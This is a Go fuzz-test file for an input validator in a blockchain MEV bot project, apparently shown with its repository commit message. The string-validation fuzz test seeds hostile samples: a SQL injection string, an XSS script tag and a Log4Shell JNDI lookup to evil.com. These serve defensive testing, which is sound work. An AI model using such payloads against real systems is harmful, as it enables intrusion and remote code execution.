Files
mev-beta/orig/pkg/security/input_validation_fuzz_test.go
Administrator 803de231ba feat: create v2-prep branch with comprehensive planning
Restructured project for V2 refactor:

**Structure Changes:**
- Moved all V1 code to orig/ folder (preserved with git mv)
- Created docs/planning/ directory
- Added orig/README_V1.md explaining V1 preservation

**Planning Documents:**
- 00_V2_MASTER_PLAN.md: Complete architecture overview
  - Executive summary of critical V1 issues
  - High-level component architecture diagrams
  - 5-phase implementation roadmap
  - Success metrics and risk mitigation

- 07_TASK_BREAKDOWN.md: Atomic task breakdown
  - 99+ hours of detailed tasks
  - Every task < 2 hours (atomic)
  - Clear dependencies and success criteria
  - Organized by implementation phase

**V2 Key Improvements:**
- Per-exchange parsers (factory pattern)
- Multi-layer strict validation
- Multi-index pool cache
- Background validation pipeline
- Comprehensive observability

**Critical Issues Addressed:**
- Zero address tokens (strict validation + cache enrichment)
- Parsing accuracy (protocol-specific parsers)
- No audit trail (background validation channel)
- Inefficient lookups (multi-index cache)
- Stats disconnection (event-driven metrics)

Next Steps:
1. Review planning documents
2. Begin Phase 1: Foundation (P1-001 through P1-010)
3. Implement parsers in Phase 2
4. Build cache system in Phase 3
5. Add validation pipeline in Phase 4
6. Migrate and test in Phase 5

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-11-10 10:14:26 +01:00

268 lines
7.3 KiB
Go

package security
import (
"math/big"
"strings"
"testing"
"time"
"github.com/ethereum/go-ethereum/common"
"github.com/ethereum/go-ethereum/core/types"
)
// FuzzValidateAddress tests address validation with random inputs
func FuzzValidateAddress(f *testing.F) {
validator := NewInputValidator(42161) // Arbitrum chain ID
// Seed corpus with known patterns
f.Add("0x0000000000000000000000000000000000000000") // Zero address
f.Add("0xa0b86991c431c431c8f4c431c431c431c431c431c") // Valid address
f.Add("0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef") // Suspicious pattern
f.Add("0x") // Short invalid
f.Add("") // Empty
f.Add("not_an_address") // Invalid format
f.Fuzz(func(t *testing.T, addrStr string) {
defer func() {
if r := recover(); r != nil {
t.Errorf("ValidateAddress panicked with input %q: %v", addrStr, r)
}
}()
// Test that validation doesn't crash on any input
if common.IsHexAddress(addrStr) {
addr := common.HexToAddress(addrStr)
result := validator.ValidateAddress(addr)
// Ensure result is never nil
if result == nil {
t.Error("ValidateAddress returned nil result")
}
// Validate result structure
if len(result.Errors) == 0 && !result.Valid {
t.Error("Result marked invalid but no errors provided")
}
}
})
}
// FuzzValidateString tests string validation with various injection attempts
func FuzzValidateString(f *testing.F) {
validator := NewInputValidator(42161)
// Seed with common injection patterns
f.Add("'; DROP TABLE users; --")
f.Add("<script>alert('xss')</script>")
f.Add("${jndi:ldap://evil.com/}")
f.Add("\x00\x01\x02\x03\x04")
f.Add(strings.Repeat("A", 10000))
f.Add("normal_string")
f.Fuzz(func(t *testing.T, input string) {
defer func() {
if r := recover(); r != nil {
t.Errorf("ValidateString panicked with input length %d: %v", len(input), r)
}
}()
result := validator.ValidateString(input, "test_field", 1000)
// Ensure validation completes
if result == nil {
t.Error("ValidateString returned nil result")
}
// Test sanitization
sanitized := validator.SanitizeInput(input)
// Ensure sanitized string doesn't contain null bytes
if strings.Contains(sanitized, "\x00") {
t.Error("Sanitized string still contains null bytes")
}
// Ensure sanitization doesn't crash
if len(sanitized) > len(input)*2 {
t.Error("Sanitized string unexpectedly longer than 2x original")
}
})
}
// FuzzValidateNumericString tests numeric string validation
func FuzzValidateNumericString(f *testing.F) {
validator := NewInputValidator(42161)
// Seed with various numeric patterns
f.Add("123.456")
f.Add("-123")
f.Add("0.000000000000000001")
f.Add("999999999999999999999")
f.Add("00123")
f.Add("123.456.789")
f.Add("1e10")
f.Add("abc123")
f.Fuzz(func(t *testing.T, input string) {
defer func() {
if r := recover(); r != nil {
t.Errorf("ValidateNumericString panicked with input %q: %v", input, r)
}
}()
result := validator.ValidateNumericString(input, "test_number")
if result == nil {
t.Error("ValidateNumericString returned nil result")
}
// If marked valid, should actually be parseable as number
if result.Valid {
if _, ok := new(big.Float).SetString(input); !ok {
// Allow some flexibility for our regex vs big.Float parsing
if !strings.Contains(input, ".") {
if _, ok := new(big.Int).SetString(input, 10); !ok {
t.Errorf("String marked as valid numeric but not parseable: %q", input)
}
}
}
}
})
}
// FuzzTransactionValidation tests transaction validation with random transaction data
func FuzzTransactionValidation(f *testing.F) {
validator := NewInputValidator(42161)
f.Fuzz(func(t *testing.T, nonce, gasLimit uint64, gasPrice, value int64, dataLen uint8) {
defer func() {
if r := recover(); r != nil {
t.Errorf("Transaction validation panicked: %v", r)
}
}()
// Constrain inputs to reasonable ranges
if gasLimit > 50000000 {
gasLimit = gasLimit % 50000000
}
if dataLen > 100 {
dataLen = dataLen % 100
}
// Create test transaction
data := make([]byte, dataLen)
for i := range data {
data[i] = byte(i % 256)
}
var gasPriceBig, valueBig *big.Int
if gasPrice >= 0 {
gasPriceBig = big.NewInt(gasPrice)
} else {
gasPriceBig = big.NewInt(-gasPrice)
}
if value >= 0 {
valueBig = big.NewInt(value)
} else {
valueBig = big.NewInt(-value)
}
to := common.HexToAddress("0x1234567890123456789012345678901234567890")
tx := types.NewTransaction(nonce, to, valueBig, gasLimit, gasPriceBig, data)
result := validator.ValidateTransaction(tx)
if result == nil {
t.Error("ValidateTransaction returned nil result")
}
})
}
// FuzzSwapParamsValidation tests swap parameter validation
func FuzzSwapParamsValidation(f *testing.F) {
validator := NewInputValidator(42161)
f.Fuzz(func(t *testing.T, amountIn, amountOut int64, slippage uint16, hoursFromNow int8) {
defer func() {
if r := recover(); r != nil {
t.Errorf("SwapParams validation panicked: %v", r)
}
}()
// Create test swap parameters
params := &SwapParams{
TokenIn: common.HexToAddress("0x1111111111111111111111111111111111111111"),
TokenOut: common.HexToAddress("0x2222222222222222222222222222222222222222"),
AmountIn: big.NewInt(amountIn),
AmountOut: big.NewInt(amountOut),
Slippage: uint64(slippage),
Deadline: time.Now().Add(time.Duration(hoursFromNow) * time.Hour),
Recipient: common.HexToAddress("0x3333333333333333333333333333333333333333"),
Pool: common.HexToAddress("0x4444444444444444444444444444444444444444"),
}
result := validator.ValidateSwapParams(params)
if result == nil {
t.Error("ValidateSwapParams returned nil result")
}
})
}
// FuzzBatchSizeValidation tests batch size validation with various inputs
func FuzzBatchSizeValidation(f *testing.F) {
validator := NewInputValidator(42161)
// Seed with known operation types
operations := []string{"transaction", "swap", "arbitrage", "query", "unknown"}
f.Fuzz(func(t *testing.T, size int, opIndex uint8) {
defer func() {
if r := recover(); r != nil {
t.Errorf("BatchSize validation panicked: %v", r)
}
}()
operation := operations[int(opIndex)%len(operations)]
result := validator.ValidateBatchSize(size, operation)
if result == nil {
t.Error("ValidateBatchSize returned nil result")
}
// Negative sizes should always be invalid
if size <= 0 && result.Valid {
t.Errorf("Negative/zero batch size %d marked as valid for operation %s", size, operation)
}
})
}
// Removed FuzzABIValidation to avoid circular import - moved to pkg/arbitrum/abi_decoder_fuzz_test.go
// BenchmarkInputValidation benchmarks validation performance under stress
func BenchmarkInputValidation(b *testing.B) {
validator := NewInputValidator(42161)
// Test with various input sizes
testInputs := []string{
"short",
strings.Repeat("medium_length_string_", 10),
strings.Repeat("long_string_with_repeating_pattern_", 100),
}
for _, input := range testInputs {
b.Run("ValidateString_len_"+string(rune(len(input))), func(b *testing.B) {
for i := 0; i < b.N; i++ {
validator.ValidateString(input, "test", 10000)
}
})
b.Run("SanitizeInput_len_"+string(rune(len(input))), func(b *testing.B) {
for i := 0; i < b.N; i++ {
validator.SanitizeInput(input)
}
})
}
}